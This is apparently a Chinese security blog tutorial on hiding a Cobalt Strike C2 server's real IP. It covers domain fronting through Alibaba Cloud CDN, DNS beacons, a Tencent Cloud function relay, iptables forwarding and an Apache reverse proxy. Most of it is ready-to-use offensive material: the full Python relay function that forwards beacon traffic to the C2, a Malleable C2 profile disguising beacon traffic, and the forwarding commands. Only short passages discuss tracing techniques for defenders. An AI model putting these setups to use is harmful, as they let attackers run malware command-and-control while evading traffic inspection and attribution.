域前置-CDN隐藏C2真实IP 防止被溯源
国内外云服务上大部分已经不支持域前置了,作者在阿里云刚刚复现成功…… 这里做简单的流程演示和相关的溯源分析
什么是域前置
区别于单纯的CDN隐藏IP技术;域前置技术采用高权重域名进行伪装,效果要更上一层楼!
条件
对自己的域名开启全站加速(DCDN服务),这里我使用的是阿里云
关于域名解析等琐碎的事情,这里省略了……当然添加SLL证书的话效果会更好 超级ping获得各个节点的ip,选择一个ip进行域名反查,获取其中高信誉的域名(权重高、知名域名) 如图所示新增监听器
https host header是载荷通信传输命令和结果的请求地址,流量审查的时候,https请求证书的地址为www.baidu.com。而实际与cs.whgojp.top进行数据交互
原理
注意上图中填写的host Header 部分 cs.whgojp.top 单次请求类似于下方
curl -v -H "host:cs.whgojp.top" https://www.baidu.com
意思是请求百度站点,但因为指定了host,所以实际上请求的是同服务器上的cs.whgojp.top站点。 当我们请求一个部署了 CDN 服务的域名时,实际上也默认使用了云厂商内部的解析器。 而云厂商内部的解析器,实际会根据 Header 中的 Host 字段判断回源域名,最后效果是,请求内容以Host字段为准。
这里可以看到实际返回的结果还是百度的,并没有返回https://cs.whgojp.top上面的请求数据 因为厂商不支持域前置,而且此处的www.baidu.com CDN节点ip与我的并不相同。这里只是做演示 那么如果存在域前置的话,这里返回的数据应该和下方请求相同
curl -v host:cs.whgojp.top
cs.whgojp.top代表着我们的恶意站点,www.baidu.com就是同服务器上的其它一个高可信站点,利用域前置,审查流量时显示的就是高可信域名,而看不到我们的恶意域名,所以可用来逃避流量审查,隐藏真实IP。
完整复现
复现成功 之前复现的时候反查ip啥也没查出来(平台问题),今天又试了试,换了好几家平台,终于成功了 这里使用的是奇安信态势感知平台进行ip反查域名
这里我没有找到信誉特别高的域名,而且几乎所有的域名后都加了w.kunlunaq.com 后缀(不知道这是不是什么防御措施) 这里找到一个不带后缀的域名
curl -v -H "host:cs.whgojp.top" https://cdn.jijyun.cn #不知名网站 凑合复现
成功就解析到cs.whgojp.top页面上,也就是说存在域前置(阿里云还是可以使用域前置技术的)
进行简单上线,抓包分析,成功复现!!!
而且这里的外联IP和云函数一样不停的在变化。 试想一下:域前置+修改CS profile原生特征(header字段 心跳包频率 ssl证书等)+傀儡机代理+域名不备案(别人的域名)+等等等等 这怎么溯源? 这里简单分析一下上线流量数据包
这加密后的https啥也看不出来啊……
域前置溯源
前几天面试问到了使用了域前置怎么溯源? emmm 这里拿自己生成的样本payload进行简单溯源 条件:样本Payload,
通过Banner信息测绘与基于样本通信特征扫描的方式获取域前置的真正Host 1、根据已经拿到的资产获取Web指纹(开放的服务及版本、端口等)、Banner信息,分析获取测绘特征。 2、根据测绘特征在Zoomeye、Fofa、Shodan等平台搜索,通过时间、地区等条件初步筛选,获得资产列表,这个列表可能很大。 3、通过分析样本,获取通信特征(Uri、回包大小、Header等)向资产列表发通信包,动态过滤;根据已有资产规则(IP段分布、IDC服务商、域名构造特征、证书服务商等)人工静态过滤,得到较精确的网络资产列表。
节选自:https://www.anquanke.com/post/id/260888#h2-10
DNS协议-域名记录解析
1、域名解析设置A,NS记录
ns1 ns cs.xxx.com
ns2 ns cs.xxx.com
cs A xx.xx.xx.xx(CS的IP)
2、CS监听器-DNS Beacon DNS DNS地址配置:
ns1.xxx.com
ns2.xxx.com
3、执行后checkin唤醒
这个DNS上线早在内网渗透过程中已经做过相关解释
云函数-腾讯云操作
1、创建云函数 腾讯云-云产品-云函数-函数服务-新建 2、创建函数服务 选择从头开始-函数类型选择事件函数-函数名称任意- 运行环境选择python3.6-并复制如下代码并修改CS的IP-点击完成
#-*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
C2='https://XXXX' # 修改为自己C2服务器地址
path=event['path']
headers=event['headers']
print(event)
if event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)
response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
return response</code></pre></div></div><p>3、创建触发器
触发方式选择API网关触发-勾选启用集成响应-点击提交
4、配置触发器
点击API服务名对触发器进行配置
将路径修改为/,然后点击立即完成
5、配置profile文件-触发URL
代码语言:javascript复制set sample_name "t";
set sleeptime "3000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
http-get {
set uri "/api/x";
client {
header "Accept" "*/*";
metadata {
base64;
prepend "SESSIONID=";
header "Cookie";
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Server" "Nodejs";
output {
base64;
print;
}
}
}
http-stager {
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}
http-post {
set uri "/api/y";
client {
header "Accept" "/";
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
output {
base64;
print;
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Connection" "keep-alive";
output {
base64;
print;
}
}
}
这里不做云函数相关配置演示
6、启动CS加载profile
代码语言:javascript复制./teamserver IP 密码 xxx.profile
7、CS新添监听器
以该监听器生成后门进行上线有一个有意思的特点就是external IP 不停的在变化(而且都是腾讯云的IP)
云函数隐藏真实IP上线
这里使用火绒剑看下上线主机外联IP
这里可以看下,上面是使用云函数上线的后门(连接腾讯云下某ip),下面是未使用云函数的后门(正常连接恶意服务器)
查一下该IP归属175.24.155.20
成功隐藏自己真实IP,因为IP不停的在变化,即使封掉该IP也会有其他节点IP进行上线
毕竟使用云函数服务是需要Money的emmm
腾讯云后台云函数API调用数据
云函数如何溯源
最近面蓝护,学到什么都要想一想怎么溯源
篇幅过长,放在了下篇文章了……
端口转发-Iptables
1、转发机设置转发:(80改443即https)这里我使用同C段下kali进行转发
代码语言:javascript复制iptables -I INPUT -p tcp -m tcp --dport 80 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 47.94.130.42:80
iptables -t nat -A POSTROUTING -j MASQUERADE
iptables -I FORWARD -j ACCEPT
iptables -P FORWARD ACCEPT
sysctl net.ipv4.ip_forward =1
2、CS监听器配置转发机IP
CS新建监听器10.10.10.146
上线之后,其实只是做了一个简单的流量转发,IP封掉就下线
中间件反向代理-Apache
1、代理机安装Apache:
代码语言:javascript复制apt-get install apache2
a2enmod proxy proxy_ajp proxy_balancer proxy_connect proxy_http
systemctl restart apache2
/etc/apache2/sites-enabled/000-default.conf
2、中间件设置转发:
代码语言:javascript复制http:
ProxyPass "/" "http://CS的IP/"
ProxyPassReverse "/" "http://CS的IP/"
https:
ProxyPass "/" "https://CS的IP/"
ProxyPassReverse "/" "https://CS的IP/"
3、重启Apache服务
代码语言:javascript复制service apache2 restart
4、CS监听器配置转发机IP
可以看到这里正常上线,也是简单的进行流量代理,这里我把上面的iptables转发配置清空了,避免干扰
注:
如果中转服务器被拿下的话,那么搜集信息很可能就可以发现请求重定向的痕迹,从而找到真实C2地址。
请求重定向也可以和之前的CDN方法相结合,之前CDN方法是通过CDN将请求转发到真实的C2服务器上,而添加请求重定向后,流程就变为了CDN转发到中转服务器,中转服务器再转到C2,达到双重隐藏的效果。